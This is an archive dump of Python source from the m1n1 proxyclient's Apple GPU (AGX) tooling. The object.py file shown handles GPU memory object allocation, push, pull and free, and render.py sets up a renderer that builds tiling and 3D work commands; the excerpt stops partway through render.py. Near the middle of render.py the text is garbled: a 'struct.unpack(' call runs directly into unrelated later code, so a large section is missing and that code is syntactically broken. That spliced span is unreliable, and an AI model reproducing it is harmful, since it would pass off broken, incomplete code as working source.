m1n1-1.4.11/proxyclient/m1n1/agx/object.py000066400000000000000000000224221453754430200201160ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import io, time from ..malloc import Heap from ..utils import * from ..constructutils import ConstructClassBase, str_value from construct import Bytes, Container, HexDump from ..hw.uat import MemoryAttr class GPUObject: def __init__(self, allocator, objtype): self._raw = False if isinstance(objtype, int): self.val = bytes(objtype) self._size = objtype self._name = b"Bytes({objtype})" self._raw = True elif isinstance(objtype, ConstructClassBase): self.val = objtype objtype = type(objtype) self._size = objtype.sizeof() self._name = objtype.__name__ elif isinstance(objtype, type) and issubclass(objtype, ConstructClassBase): self._size = objtype.sizeof() self.val = objtype() self._name = objtype.__name__ else: self._size = objtype.sizeof() self.val = objtype.parse(bytes(self._size)) self._name = type(objtype).__name__ self._alloc = allocator self._type = objtype self._addr = None self._data = None self._dead = False self._map_flags = {} self._mon_val = None self._skipped_pushes = 0 self._compress_threshold = 65536 self._strm = None self._read_phys = False def push(self, if_needed=False): self._mon_val = self.val assert self._addr is not None if self._raw: data = self.val else: context = Container() context._parsing = False context._building = True context._sizing = False context._params = context # build locally and push as a block for efficiency ios = io.BytesIO() self._type._build(self.val, ios, context, "(pushing)") data = ios.getvalue() #if self._alloc.verbose: #t = time.time() #self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] chk {self._size} bytes") if if_needed and data[:] == self._data: self._skipped_pushes += 1 #if self._alloc.verbose: #t2 = time.time() #mbs = self._size / (t2 - t) / 1000000 #self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] chk done ({mbs:.02f} MB/s)") return self self._skipped_pushes = 0 t = time.time() if data == bytes(self._size): if self._alloc.verbose: self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] zeroing {self._size} bytes") self._alloc.agx.p.memset8(self._paddr, 0, self._size) elif self._size > self._compress_threshold: if self._alloc.verbose: self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] pushing {self._size} bytes (compressed)") self._alloc.agx.u.compressed_writemem(self._paddr, data) else: if self._alloc.verbose: self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] pushing {self._size} bytes") self._alloc.agx.iface.writemem(self._paddr, data) if self._alloc.verbose: t2 = time.time() mbs = self._size / (t2 - t) / 1000000 self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] push done ({mbs:.02f} MB/s)") #stream.write(data) if isinstance(self._type, type) and issubclass(self._type, ConstructClassBase): if self._strm is None: self._strm = self._alloc.make_stream(self._addr) self.val.set_addr(self._addr, self._strm) self._data = bytes(data) return self def _pull(self): if self._raw: assert self._paddr is not None return self._alloc.agx.iface.readmem(self._paddr, self._size) assert self._addr is not None context = Container() context._parsing = True context._building = False context._sizing = False context._params = context if self._alloc.verbose: self._alloc.agx.log(f"[{self._name} @{self._addr:#x}] pulling {self._size} bytes") if self._read_phys: stream = io.BytesIO() stream.write(self._alloc.agx.iface.readmem(self._paddr, self._size)) stream.seek(0) else: stream = self._alloc.make_stream(self._addr) return self._type._parse(stream, context, f"(pulling {self._name})") def pull(self): self._mon_val = self.val = self._pull() return self def poll(self): prev_val = self._mon_val self._mon_val = cur_val = self._pull() if not hasattr(cur_val, "diff"): return None if cur_val != prev_val: diff = cur_val.diff(prev_val) assert diff is not None return f"GPUObject {self._name} ({self._size:#x} @ {self._addr:#x}): " + diff else: return None @property def _ctx(self): return self._alloc.ctx def add_to_mon(self, mon): mon.add(self._addr, self._size, self._name, offset=0, readfn=lambda a, s: self._alloc.agx.iface.readmem(a - self._addr + self._paddr, s)) def _set_addr(self, addr, paddr=None): self._addr = addr self._paddr = paddr if isinstance(self.val, ConstructClassBase): self.val.set_addr(addr) def __getitem__(self, item): return self.val[item] def __setitem__(self, item, value): self.val[item] = value def __getattr__(self, attr): return getattr(self.val, attr) def __setattr__(self, attr, val): if attr.startswith("_") or attr == "val": self.__dict__[attr] = val return setattr(self.val, attr, val) def __str__(self): if isinstance(self.val, bytes) and len(self.val) > 128: s_val = f"<{len(self.val)} bytes>" else: s_val = str_value(self.val) return f"GPUObject {self._name} ({self._size:#x} @ {self._addr:#x}): " + s_val def free(self): if self._dead: return self._dead = True self._alloc.free(self) class GPUAllocator: def __init__(self, agx, name, start, size, ctx=0, page_size=16384, va_block=None, guard_pages=1, **kwargs): self.page_size = page_size if va_block is None: va_block = page_size self.agx = agx self.ctx = ctx self.name = name self.va = Heap(start, start + size, block=va_block) self.verbose = 0 self.guard_pages = guard_pages self.objects = {} self.flags = kwargs self.align_to_end = True def make_stream(self, base): return self.agx.uat.iostream(self.ctx, base, recurse=False) def new(self, objtype, name=None, track=True, align=1, **kwargs): obj = GPUObject(self, objtype) obj._stream = self.make_stream if name is not None: obj._name = name guard_size = self.page_size * self.guard_pages size_align = align_up(obj._size, self.page_size) addr = self.va.malloc(size_align + guard_size) paddr = self.agx.u.memalign(self.page_size, size_align) off = 0 if self.align_to_end: off = size_align - align_up(obj._size, align) flags = dict(self.flags) flags.update(kwargs) obj._addr_align = addr obj._paddr_align = paddr obj._size_align = size_align self.agx.uat.iomap_at(self.ctx, addr, paddr, size_align, **flags) obj._set_addr(addr + off, paddr + off) obj._map_flags = flags self.objects[obj._addr] = obj if self.verbose: self.agx.log(f"[{self.name}] Alloc {obj._name} size {obj._size:#x} @ {obj._addr:#x} ({obj._paddr:#x})") self.agx.reg_object(obj, track=track) return obj def new_buf(self, size, name, track=True): return self.new(HexDump(Bytes(size)), name=name, track=track) def buf(self, size, name, track=True): return self.new_buf(size, name, track).push()._addr def free(self, obj): obj._dead = True is_private = obj._map_flags.get("AttrIndex", MemoryAttr.Normal) != MemoryAttr.Shared if is_private and obj._addr_align > 0xf8000000000: flags2 = dict(obj._map_flags) flags2["AttrIndex"] = MemoryAttr.Shared self.agx.uat.iomap_at(self.ctx, obj._addr_align, obj._paddr_align, obj._size_align, **flags2) self.agx.uat.flush_dirty() self.agx.uat.handoff.prepare_cacheflush(obj._addr_align, obj._size_align) self.agx.ch.fwctl.send_inval(0x40, obj._addr_align) self.agx.uat.handoff.wait_cacheflush() self.agx.uat.iomap_at(self.ctx, obj._addr_align, 0, obj._size_align, VALID=0) if is_private and obj._addr_align > 0xf8000000000: self.agx.uat.flush_dirty() self.agx.uat.handoff.complete_cacheflush() self.agx.u.free(obj._paddr_align) self.va.free(obj._addr_align) del self.objects[obj._addr] self.agx.unreg_object(obj) if self.verbose: self.agx.log(f"[{self.name}] Free {obj._name} size {obj._size:#x} @ {obj._addr:#x} ({obj._paddr:#x})") m1n1-1.4.11/proxyclient/m1n1/agx/render.py000066400000000000000000001507341453754430200201370ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, json, zipfile json.c_make_encoder = None from m1n1.proxy import * from .context import * from .event import GPUEventManager from .uapi import * from m1n1.constructutils import ConstructClass, Ver def unswizzle(agx, addr, w, h, psize, dump=None, grid=False): iface = agx.u.iface tw = 64 th = 64 ntx = (w + tw - 1) // 64 nty = (h + th - 1) // 64 data = iface.readmem(addr, ntx * nty * psize * tw * th) new_data = [] for y in range(h): ty = y // th for x in range(w): tx = x // tw toff = tw * th * psize * (ty * ntx + tx) j = x & (tw - 1) i = y & (th - 1) off = ( ((j & 1) << 0) | ((i & 1) << 1) | ((j & 2) << 1) | ((i & 2) << 2) | ((j & 4) << 2) | ((i & 4) << 3) | ((j & 8) << 3) | ((i & 8) << 4) | ((j & 16) << 4) | ((i & 16) << 5) | ((j & 32) << 5) | ((i & 32) << 6)) r,g,b,a = data[toff + psize*off: toff + psize*(off+1)] if grid: if x % 64 == 0 or y % 64 == 0: r,g,b,a = 255,255,255,255 elif x % 32 == 0 or y % 32 == 0: r,g,b,a = 128,128,128,255 new_data.append(bytes([b, g, r, a])) data = b"".join(new_data) if dump: open(dump, "wb").write(data[:w*h*psize]) #iface.writemem(addr, data) class GPUFrame: def __init__(self, context, filename=None, track=False): self.ctx = context self.agx = context.agx self.objects = [] self.cmdbuf = None self.track = track if filename is not None: self.load(filename) def add_object(self, obj): self.objects.append(obj) def save(self, filename): cmdbuf = self.cmdbuf with zipfile.ZipFile(filename, "w") as zf: cmdbuf_data = json.dumps(cmdbuf, indent=4).encode("utf-8") zf.writestr("cmdbuf.json", cmdbuf_data) obj_info = [] for obj in self.objects: if obj._data == bytes(obj._size): filename = None else: filename = f"obj_{obj._addr:x}.bin" zf.writestr(filename, obj._data) obj_info.append({ "file": filename, "name": obj._name, "addr": obj._addr, "size": obj._size, "map_flags": obj._map_flags, }) obj_info_data = json.dumps(obj_info, indent=4).encode("utf-8") zf.writestr("objects.json", obj_info_data) def load(self, filename): with zipfile.ZipFile(filename, "r") as zf: with zf.open("cmdbuf.json", "r") as fd: self.cmdbuf = drm_asahi_cmdbuf_t.from_json(fd) with zf.open("objects.json", "r") as fd: obj_info = json.load(fd) self.objects = [] for i in obj_info: filename = i["file"] obj = self.ctx.new_at(i["addr"], Bytes(i["size"]), name=i["name"], track=self.track, **i["map_flags"]) if filename is not None: with zf.open(i["file"], "r") as fd: data = fd.read() obj.val = data obj.push() else: obj.val = bytes(i["size"]) obj.push() self.objects.append(obj) class GPUWork: def __init__(self, renderer): self.objects = [] self.renderer = renderer def add(self, obj): self.objects.append(obj) def free(self): for obj in self.objects: obj.free() self.objects = [] class GPURenderer: def __init__(self, ctx, buffers=16, bm_slot=0, queue=0): self.agx = agx = ctx.agx self.queue = queue # 0..63 self.ctx = ctx self.ctx_id = ctx.ctx # 0..255 self.buffers = buffers self.buffer_mgr_slot = bm_slot ## These MUST go together self.buffer_mgr = GPUBufferManager(agx, ctx, buffers) self.buffer_mgr_initialized = False self.unk_emptybuf = agx.kobj.new_buf(0x40, "unk_emptybuf") self.tpc_size = 0 ##### Job group self.job_list = agx.kshared.new(JobList) self.job_list.first_job = 0 self.job_list.last_head = self.job_list._addr # Empty list has self as last_head self.job_list.unkptr_10 = 0 self.job_list.push() ##### Work Queues self.ts3d_1 = agx.kshared.new(Int64ul, name="3D timestamp 1") self.ts3d_2 = agx.kshared.new(Int64ul, name="3D timestamp 2") self.tsta_1 = agx.kshared.new(Int64ul, name="TA timestamp 1") self.tsta_2 = agx.kshared.new(Int64ul, name="TA timestamp 2") self.wq_3d = GPU3DWorkQueue(agx, ctx, self.job_list) self.wq_ta = GPUTAWorkQueue(agx, ctx, self.job_list) self.wq_3d.info.uuid = 0x3D0000 | bm_slot self.wq_3d.info.push() self.wq_ta.info.uuid = 0x7A0000 | bm_slot self.wq_ta.info.push() self.stamp_value_3d = 0x3D000000 | (bm_slot << 16) self.stamp_value_ta = 0x7A000000 | (bm_slot << 16) ##### TA stamps # start? self.stamp_ta1 = agx.kshared.new(StampCounter, name="TA stamp 1") self.stamp_ta1.value = self.stamp_value_ta self.stamp_ta1.push() # complete? self.stamp_ta2 = agx.kobj.new(StampCounter, name="TA stamp 2") self.stamp_ta2.value = self.stamp_value_ta self.stamp_ta2.push() ##### 3D stamps # start? self.stamp_3d1 = agx.kshared.new(StampCounter, name="3D stamp 1") self.stamp_3d1.value = self.stamp_value_3d self.stamp_3d1.push() # complete? self.stamp_3d2 = agx.kobj.new(StampCounter, name="3D stamp 2") self.stamp_3d2.value = self.stamp_value_3d self.stamp_3d2.push() ##### Things userspace deals with for macOS #self.aux_fb = ctx.uobj.new_buf(0x8000, "Aux FB thing") ##self.deflake_1 = ctx.uobj.new_buf(0x20, "Deflake 1") ##self.deflake_2 = ctx.uobj.new_buf(0x280, "Deflake 2") ##self.deflake_3 = ctx.uobj.new_buf(0x540, "Deflake 3") #self.deflake = ctx.uobj.new_buf(0x7e0, "Deflake") #self.unk_buf = ctx.uobj.new(Array(0x800, Int64ul), "Unknown Buffer") #self.unk_buf.val = [0, *range(1, 0x400), *(0x400 * [0])] #self.unk_buf.push() ##### Some kind of feedback/status buffer, GPU managed? self.event_control = agx.kobj.new(EventControl) self.event_control.event_count = agx.kobj.new(Int32ul, "event_count") self.event_control.event_count.val = 0 self.event_control.event_count.push() self.event_control.submission_id = 0 self.event_control.cur_count = 0 self.event_control.unk_10 = 0x50 self.event_control.push() self.frames = 0 self.ev_ta = ev_ta = self.agx.event_mgr.allocate_event() self.ev_3d = ev_3d = self.agx.event_mgr.allocate_event() self.work = [] self.ev_idx = 0 self.mshook_ta = None self.mshook_3d = None def submit(self, cmdbuf, wait_for=None): nclusters = 8 work = GPUWork(self) self.work.append(work) self.buffer_mgr.increment() aux_fb = self.ctx.uobj.new_buf(0x20000, "Aux FB thing", track=False) work.add(aux_fb) # t8103 deflake_1_size = 0x540 deflake_2_size = 0x280 deflake_3_size = 0x20 # 4 * 0x40 on M2 Max? if Ver.check("G >= G14X"): deflake_3_size = 0x40 # t6002 - 9 times larger instead of 8? works with 8... deflake_1_size *= nclusters deflake_2_size *= nclusters deflake_3_size *= nclusters deflake_1 = self.ctx.uobj.new_buf(deflake_1_size, "Deflake 1", track=False) deflake_2 = self.ctx.uobj.new_buf(deflake_2_size, "Deflake 2", track=False) deflake_3 = self.ctx.uobj.new_buf(deflake_3_size, "Deflake 3", track=False) work.add(deflake_1) work.add(deflake_2) work.add(deflake_3) unk_buf = self.ctx.uobj.new(Array(0x800, Int64ul), "Unknown Buffer", track=False) work.add(unk_buf) unk_buf.val = [0, *range(2, 0x401), *(0x400 * [0])] unk_buf.push() work.cmdbuf = cmdbuf self.frames += 1 work.ev_ta = ev_ta = self.ev_ta work.ev_3d = ev_3d = self.ev_3d self.ev_ta.rearm() self.ev_3d.rearm() self.agx.log(f"ev_ta: {ev_ta.id}") self.agx.log(f"ev_3d: {ev_3d.id}") #self.event_control.base_stamp = self.stamp_value >> 8 #self.event_control.push() self.prev_stamp_value_3d = self.stamp_value_3d self.prev_stamp_value_ta = self.stamp_value_ta self.stamp_value_3d += 0x100 self.stamp_value_ta += 0x100 self.event_control.event_count.val += 2 self.event_control.event_count.push() work.stamp_value_3d = self.stamp_value_3d work.stamp_value_ta = self.stamp_value_ta agx = self.agx ctx = self.ctx work.width = width = cmdbuf.fb_width work.height = height = cmdbuf.fb_height ##### TVB allocations / Tiler config tile_width = 32 tile_height = 32 tiles_x = ((width + tile_width - 1) // tile_width) tiles_y = ((height + tile_height - 1) // tile_height) tiles = tiles_x * tiles_y mtiles_x = 4 mtiles_y = 4 mtile_x1 = align(((tiles_x + mtiles_x - 1) // mtiles_x), 4) mtile_x2 = 2 * mtile_x1 mtile_x3 = 3 * mtile_x1 mtile_y1 = align(((tiles_y + mtiles_y - 1) // mtiles_y), 4) mtile_y2 = 2 * mtile_y1 mtile_y3 = 3 * mtile_y1 mtile_stride = mtile_x1 * mtile_y1 ## TODO: *samples tiles_per_mtile_x = mtile_x1 tiles_per_mtile_y = mtile_y1 tile_blocks_x = (tiles_x + 15) // 16 tile_blocks_y = (tiles_y + 15) // 16 tile_blocks = tile_blocks_x * tile_blocks_y tiling_params = TilingParameters() # rgn_header_size rgn_entry_size = 5 tiling_params.size1 = (rgn_entry_size * tiles_per_mtile_x * tiles_per_mtile_y + 3) // 4 # PPP_MULTISAMPLECTL tiling_params.unk_4 = 0x88 # PPP_CTRL tiling_params.unk_8 = 0x203 # bit 0: GL clip mode # PPP_SCREEN tiling_params.x_max = width - 1 tiling_params.y_max = height - 1 # TE_SCREEN tiling_params.tile_count = ((tiles_y-1) << 12) | (tiles_x-1) # TE_MTILE1 tiling_params.x_blocks = mtile_x3 | (mtile_x2 << 9) | (mtile_x1 << 18) # TE_MTILE2 tiling_params.y_blocks = mtile_y3 | (mtile_y2 << 9) | (mtile_y1 << 18) tiling_params.size2 = mtile_stride tiling_params.size3 = 2 * mtile_stride tiling_params.unk_24 = 0x100 tiling_params.unk_28 = 0x8000 tilemap_size = (4 * tiling_params.size1 * mtiles_x * mtiles_y) tmtiles_x = tiles_per_mtile_x * mtiles_x tmtiles_y = tiles_per_mtile_y * mtiles_y tpc_entry_size = 8 tpc_size = tpc_entry_size * tmtiles_x * tmtiles_y * nclusters if self.tpc_size < tpc_size: self.tpc = ctx.uobj.new_buf(tpc_size, "TPC", track=False).push() self.tpc_size = tpc_size depth_aux_buffer_addr = 0 if cmdbuf.depth_buffer: size = align_pot(max(width, tile_width)) * align_pot(max(height, tile_width)) // 32 depth_aux_buffer = self.ctx.uobj.new_buf(size, "Depth Aux", track=False) work.add(depth_aux_buffer) depth_aux_buffer_addr = depth_aux_buffer._addr stencil_aux_buffer_addr = 0 if cmdbuf.stencil_buffer: size = align_pot(max(width, tile_width)) * align_pot(max(height, tile_width)) // 32 stencil_aux_buffer = self.ctx.uobj.new_buf(size, "Stencil Aux", track=False) work.add(stencil_aux_buffer) stencil_aux_buffer_addr = stencil_aux_buffer._addr #tvb_tilemap_size = 0x80 * mtile_stride tvb_tilemap_size = tilemap_size tvb_tilemap = ctx.uobj.new_buf(tvb_tilemap_size, "TVB Tilemap", track=False).push() work.tvb_tilemap_size = tvb_tilemap_size work.tvb_tilemap = tvb_tilemap work.add(tvb_tilemap) # rogue: 0x180 * 4? tvb_heapmeta_size = 0x200 #tvb_heapmeta_size = 0x600 tvb_heapmeta = ctx.uobj.new_buf(tvb_heapmeta_size, "TVB Heap Meta", track=False).push() work.add(tvb_heapmeta) unk_tile_buf1 = self.ctx.uobj.new_buf(tvb_tilemap_size * nclusters, "Unk tile buf 1", track=False) print("tvb_tilemap_size", hex(tvb_tilemap_size)) unk_tile_buf2 = self.ctx.uobj.new_buf(0x4 * nclusters, "Unk tile buf 2", track=False) #size = 0xc0 * nclusters size = 0xc80 unk_tile_buf3 = self.ctx.uobj.new_buf(size, "Unk tile buf 3", track=False) f4 = 0x280 #f4 = 0x400 # t602x? unk_tile_buf4 = self.ctx.uobj.new_buf(f4 * nclusters, "Unk tile buf 4", track=False) f5 = 0x30 #f5 = 0x980 unk_tile_buf5 = self.ctx.uobj.new_buf(f5 * nclusters, "Unk tile buf 5", track=False) work.add(unk_tile_buf1) work.add(unk_tile_buf2) work.add(unk_tile_buf3) work.add(unk_tile_buf4) work.add(unk_tile_buf5) ##### Buffer stuff? # buffer related? bufferthing_buf = ctx.uobj.new_buf(0x80, "BufferThing.unkptr_18", track=False) work.add(bufferthing_buf) work.buf_desc = buf_desc = agx.kobj.new(BufferThing, track=False) work.add(buf_desc) buf_desc.unk0_addr = self.buffer_mgr.get_scene() buf_desc.unk0_addr2 = buf_desc.unk0_addr buf_desc.unk_0 = 0x0 buf_desc.unk_8 = 0x0 buf_desc.unk_10 = 0x0 buf_desc.unkptr_18 = bufferthing_buf._addr buf_desc.unk_20 = 0x0 buf_desc.unk_28 = 0x0 buf_desc.bm_misc_addr = self.buffer_mgr.misc_obj._addr buf_desc.unk_2c = 0x0 buf_desc.unk_30 = 0x0 buf_desc.unk_38 = 0x0 buf_desc.push() uuid_3d = cmdbuf.cmd_3d_id uuid_ta = cmdbuf.cmd_ta_id encoder_id = cmdbuf.encoder_id #print(barrier_cmd) #self.wq_ta.submit(ta_barrier_cmd) ##### 3D barrier command barrier_cmd = agx.kobj.new(WorkCommandBarrier, track=False, align=0x20) work.add(barrier_cmd) barrier_cmd.stamp = self.stamp_ta2 barrier_cmd.wait_value = self.stamp_value_ta barrier_cmd.stamp_self = self.stamp_value_3d barrier_cmd.event = ev_ta.id barrier_cmd.uuid = uuid_3d #print(barrier_cmd) self.wq_3d.submit(barrier_cmd) process_empty_tiles = True no_clear_pipeline_textures = True msaa_zs = False unk1 = False samples = 1 layers = 1 tile_config = 0x10000 if not unk1: tile_config |= 0x280 if layers > 1: tile_config |= 1 if process_empty_tiles: tile_config |= 0x10000 utile_config = 0xa000 | {1:0, 2:1, 4:2}[samples] ppp_multisamplectl = 0x88 iogpu_unk_214 = 0xc000 tib_blocks = 8 large_tib = tib_blocks > 8 set_when_reloading_z_or_s = False TAN_60 = 1.732051 ##### 3D execution work.wc_3d = wc_3d = agx.cmdbuf.new(WorkCommand3D, track=False, align=0x20) work.add(work.wc_3d) wc_3d.counter = 0 wc_3d.context_id = self.ctx_id wc_3d.unk_8 = 0 wc_3d.event_control = self.event_control wc_3d.buffer_mgr = self.buffer_mgr.info wc_3d.buf_thing = buf_desc wc_3d.unk_emptybuf_addr = self.unk_emptybuf._addr wc_3d.tvb_tilemap = tvb_tilemap._addr wc_3d.unk_40 = ppp_multisamplectl wc_3d.unk_48 = samples wc_3d.tile_blocks_y = mtile_y1 wc_3d.tile_blocks_x = mtile_x1 wc_3d.unk_50 = 0x0 wc_3d.unk_58 = 0x0 wc_3d.merge_upper_x = TAN_60 / width wc_3d.merge_upper_y = TAN_60 / height wc_3d.unk_68 = 0x0 wc_3d.tile_count = tiles wc_3d.unk_758 = Flag() wc_3d.unk_75c = Flag() wc_3d.unk_buf = WorkCommand1_UnkBuf() wc_3d.busy_flag = Flag() wc_3d.unk_buf2 = WorkCommand1_UnkBuf2() wc_3d.unk_buf2.unk_0 = 0 wc_3d.unk_buf2.unk_8 = 0 wc_3d.unk_buf2.unk_10 = 1 wc_3d.ts1 = TimeStamp(0) wc_3d.ts2 = TimeStamp(self.ts3d_1._addr) wc_3d.ts3 = TimeStamp(self.ts3d_2._addr) wc_3d.unk_914 = 0 wc_3d.unk_918 = 0 wc_3d.unk_920 = 0 wc_3d.client_sequence = 1 # Ventura wc_3d.unk_928_0 = 0 wc_3d.unk_928_4 = 0 wc_3d.unk_ts = TimeStamp() use_registers = Ver.check("G >= G14X") # Structures embedded in WorkCommand3D if not use_registers: wc_3d.struct_1 = Start3DStruct1() wc_3d.struct_1.store_pipeline_bind = cmdbuf.store_pipeline_bind wc_3d.struct_1.store_pipeline_addr = cmdbuf.store_pipeline | 4 wc_3d.struct_1.unk_8 = 0x0 wc_3d.struct_1.unk_c = 0x0 wc_3d.struct_1.merge_upper_x = TAN_60 / width wc_3d.struct_1.merge_upper_y = TAN_60 / height wc_3d.struct_1.unk_18 = 0x0 # ISP_MTILE_SIZE wc_3d.struct_1.tile_blocks_y = mtile_y1 wc_3d.struct_1.tile_blocks_x = mtile_x1 wc_3d.struct_1.unk_24 = 0x0 wc_3d.struct_1.tile_counts = ((tiles_y-1) << 12) | (tiles_x-1) wc_3d.struct_1.unk_2c = tib_blocks wc_3d.struct_1.depth_clear_val1 = cmdbuf.depth_clear_value wc_3d.struct_1.stencil_clear_val1 = cmdbuf.stencil_clear_value wc_3d.struct_1.unk_35 = 0x7 # clear flags? 2 = depth 4 = stencil? wc_3d.struct_1.unk_36 = 0x0 wc_3d.struct_1.unk_38 = 0x0 wc_3d.struct_1.unk_3c = 0x1 wc_3d.struct_1.unk_40 = 0 wc_3d.struct_1.unk_44_padding = bytes(0x9c) if not use_registers: wc_3d.struct_2 = Start3DStruct2() wc_3d.struct_2.unk_0 = utile_config wc_3d.struct_2.clear_pipeline = Start3DClearPipelineBinding( cmdbuf.load_pipeline_bind, cmdbuf.load_pipeline | 4) wc_3d.struct_2.unk_18 = ppp_multisamplectl wc_3d.struct_2.scissor_array = cmdbuf.scissor_array wc_3d.struct_2.depth_bias_array = cmdbuf.depth_bias_array wc_3d.struct_2.aux_fb = AuxFBInfo(iogpu_unk_214, 0, width, height) # ISP_ZLS_PIXELS wc_3d.struct_2.depth_dimensions = (width - 1) | ((height - 1) << 15) wc_3d.struct_2.visibility_result_buffer = 0x0 # ISP_ZLSCTL wc_3d.struct_2.depth_flags = cmdbuf.ds_flags wc_3d.struct_2.unk_58_g14_0 = 0x4040404 wc_3d.struct_2.unk_58_g14_8 = 0 wc_3d.struct_2.depth_buffer_ptr1 = cmdbuf.depth_buffer wc_3d.struct_2.depth_buffer_ptr2 = cmdbuf.depth_buffer wc_3d.struct_2.unk_68_g14_0 = 0 wc_3d.struct_2.stencil_buffer_ptr1 = cmdbuf.stencil_buffer wc_3d.struct_2.stencil_buffer_ptr2 = cmdbuf.stencil_buffer wc_3d.struct_2.unk_78 = [0] * 4 wc_3d.struct_2.depth_aux_buffer_ptr1 = depth_aux_buffer_addr wc_3d.struct_2.unk_a0 = 0 wc_3d.struct_2.depth_aux_buffer_ptr2 = depth_aux_buffer_addr wc_3d.struct_2.unk_b0 = 0 wc_3d.struct_2.stencil_aux_buffer_ptr1 = stencil_aux_buffer_addr wc_3d.struct_2.unk_c0 = 0 wc_3d.struct_2.stencil_aux_buffer_ptr2 = stencil_aux_buffer_addr wc_3d.struct_2.unk_d0 = 0 wc_3d.struct_2.tvb_tilemap = tvb_tilemap._addr wc_3d.struct_2.tvb_heapmeta_addr = tvb_heapmeta._addr wc_3d.struct_2.unk_e8 = tiling_params.size1 << 24 wc_3d.struct_2.tvb_heapmeta_addr2 = tvb_heapmeta._addr # 0x10000 - clear empty tiles # ISP_CTL (but bits seem to have moved) wc_3d.struct_2.unk_f8 = tile_config wc_3d.struct_2.aux_fb_ptr = aux_fb._addr wc_3d.struct_2.unk_108 = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0] wc_3d.struct_2.pipeline_base = self.ctx.pipeline_base wc_3d.struct_2.unk_140 = 0x8c60 wc_3d.struct_2.unk_148 = 0x0 wc_3d.struct_2.unk_150 = 0x0 wc_3d.struct_2.unk_158 = 0x1c wc_3d.struct_2.unk_160 = 0 wc_3d.struct_2.unk_168_padding = bytes(0x1d8) wc_3d.struct_2.unk_198_padding = bytes(0x1a8) def fui(v): return struct.unpack("> 8 start_3d.unk_68 = 0x0 start_3d.unk_buf_ptr = wc_3d.unk_758._addr start_3d.unk_buf2_ptr = wc_3d.unk_buf2._addr start_3d.unk_7c_0 = 0x0 start_3d.unk_7c = 0x0 start_3d.unk_80 = 0x0 start_3d.unk_84 = int(unk1) start_3d.uuid = uuid_3d start_3d.attachments = [] start_3d.counter = wc_3d.counter start_3d.unkptr_19c = self.event_control.unk_buf._addr work.fb = None work.depth = None for i in cmdbuf.attachments[:cmdbuf.attachment_count]: cache_lines = align_up(i.size, 128) // 128 order = 1 # FIXME start_3d.attachments.append(Attachment(i.pointer, cache_lines, 0x17, order)) # FIXME check if work.fb is None and i.type == ASAHI_ATTACHMENT_C: work.fb = i.pointer if work.depth is None and i.type == ASAHI_ATTACHMENT_Z: work.depth = i.pointer start_3d.attachments += [Attachment(0, 0, 0, 0)] * (16 - len(start_3d.attachments)) start_3d.num_attachments = cmdbuf.attachment_count start_3d.unk_190 = 0x0 start_3d_offset = ms.append(start_3d) ts1 = TimestampCmd() ts1.unk_1 = 0x0 ts1.unk_2 = 0x0 ts1.unk_3 = 0x80 ts1.ts0_addr = wc_3d.ts1._addr ts1.ts1_addr = wc_3d.ts2._addr ts1.ts2_addr = wc_3d.ts2._addr ts1.cmdqueue_ptr = self.wq_3d.info._addr ts1.unk_24 = 0x0 if Ver.check("V >= V13_0B4"): ts1.unk_ts_addr = wc_3d.unk_ts._addr ts1.uuid = uuid_3d ts1.unk_30_padding = 0x0 ms.append(ts1) if Ver.check("G >= G14X"): ms.append(Wait2Cmd()) else: ms.append(WaitForInterruptCmd(0, 1, 0)) ts2 = TimestampCmd() ts2.unk_1 = 0x0 ts2.unk_2 = 0x0 ts2.unk_3 = 0x0 ts2.ts0_addr = wc_3d.ts1._addr ts2.ts1_addr = wc_3d.ts2._addr ts2.ts2_addr = wc_3d.ts3._addr ts2.cmdqueue_ptr = self.wq_3d.info._addr ts2.unk_24 = 0x0 if Ver.check("V >= V13_0B4"): ts2.unk_ts_addr = wc_3d.unk_ts._addr ts2.uuid = uuid_3d ts2.unk_30_padding = 0x0 ms.append(ts2) finish_3d = Finalize3DCmd() finish_3d.uuid = uuid_3d finish_3d.unk_8 = 0 finish_3d.stamp = self.stamp_3d2 finish_3d.stamp_value = self.stamp_value_3d finish_3d.unk_18 = 0 finish_3d.buf_thing = buf_desc finish_3d.buffer_mgr = self.buffer_mgr.info finish_3d.unk_2c = 1 finish_3d.stats_ptr = agx.initdata.regionB.stats_3d.stats._addr finish_3d.struct7 = wc_3d.struct_7 finish_3d.busy_flag_ptr = wc_3d.busy_flag._addr finish_3d.cmdqueue_ptr = self.wq_3d.info._addr finish_3d.workitem_ptr = wc_3d._addr finish_3d.unk_5c = self.ctx_id finish_3d.unk_buf_ptr = wc_3d.unk_758._addr finish_3d.unk_6c_0 = 0 finish_3d.unk_6c = 0 finish_3d.unk_74 = 0 finish_3d.unk_7c = 0 finish_3d.unk_84 = 0 finish_3d.unk_8c = 0 finish_3d.unk_8c_g14 = 0 finish_3d.restart_branch_offset = start_3d_offset - ms.off finish_3d.unk_98 = 0 finish_3d.unk_9c = bytes(0x10) ms.append(finish_3d) ms.finalize() work.add(ms.obj) wc_3d.microsequence_ptr = ms.obj._addr wc_3d.microsequence_size = ms.size print(wc_3d) self.wq_3d.submit(wc_3d) ##### TA init #print(ctx_info) if wait_for is not None: barrier_cmd = agx.kobj.new(WorkCommandBarrier, track=False, align=0x20) work.add(barrier_cmd) if not isinstance(wait_for, tuple): barrier_cmd.stamp = wait_for.renderer.stamp_3d2 barrier_cmd.wait_value = wait_for.stamp_value_3d barrier_cmd.event = wait_for.ev_3d.id else: barrier_cmd.stamp_addr = wait_for[0] barrier_cmd.wait_value = wait_for[1] barrier_cmd.event = wait_for[2] barrier_cmd.stamp_self = self.stamp_value_ta barrier_cmd.uuid = uuid_ta self.wq_ta.submit(barrier_cmd) if not self.buffer_mgr_initialized: wc_initbm = agx.kobj.new(WorkCommandInitBM, track=False, align=0x20) work.add(wc_initbm) wc_initbm.context_id = self.ctx_id wc_initbm.buffer_mgr_slot = self.buffer_mgr_slot wc_initbm.unk_c = 0 wc_initbm.unk_10 = self.buffer_mgr.info.block_count wc_initbm.buffer_mgr = self.buffer_mgr.info wc_initbm.stamp_value = self.stamp_value_ta self.wq_ta.submit(wc_initbm) self.buffer_mgr_initialized = True ##### TA execution work.wc_ta = wc_ta = 